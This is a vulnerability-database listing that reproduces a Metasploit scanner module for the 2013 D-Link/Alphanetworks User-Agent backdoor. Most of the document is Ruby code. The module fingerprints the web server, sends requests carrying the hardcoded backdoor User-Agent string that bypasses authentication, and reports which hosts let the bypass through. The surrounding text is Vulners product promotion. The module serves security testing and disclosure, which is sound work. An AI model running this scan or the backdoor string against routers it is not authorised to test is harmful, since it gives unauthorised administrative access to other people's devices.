Lucene search
K

D-Link User-Agent Backdoor Scanner

🗓️ 01 Sep 2024 00:00:00Reported by Craig Heffner, Michael Messner, juan vazquez, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 260 Views

D-Link User-Agent Backdoor Scanner module for finding devices affected by a backdoor in User-Agent header

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'D-Link User-Agent Backdoor Scanner',  
'Description' => %q{  
This module attempts to find D-Link devices running Alphanetworks web interfaces affected  
by the backdoor found on the User-Agent header. This module has been tested successfully  
on a DIR-100 device with firmware version v1.13.  
},  
'Author' =>  
[  
'Craig Heffner', # vulnerability discovery  
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module  
'juan vazquez' # minor help with msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]  
],  
# First documented in detail by Craig, but looks like it's been known  
# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru  
'DisclosureDate' => "Oct 12 2013"  
)  
  
end  
  
def is_alpha_web_server?  
begin  
res = send_request_cgi({'uri' => '/'})  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return false  
end  
  
# Signatures:  
# * httpd-alphanetworks/2.23  
# * Alpha_webserv  
if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i  
return true  
end  
  
return false  
end  
  
def run_host(ip)  
  
if is_alpha_web_server?  
vprint_good("#{ip} - Alphanetworks web server detected")  
else  
vprint_error("#{ip} - Alphanetworks web server doesn't detected")  
return  
end  
  
begin  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET',  
'agent' => 'xmlset_roodkcableoj28840ybtide'  
})  
rescue ::Rex::ConnectionError  
vprint_error("#{ip}:#{rport} - Failed to connect to the web server")  
return  
end  
  
# DIR-100 device with firmware version v1.13  
# not sure if this matches on other devices  
# TODO: Testing on other devices  
if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/  
print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")  
end  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
260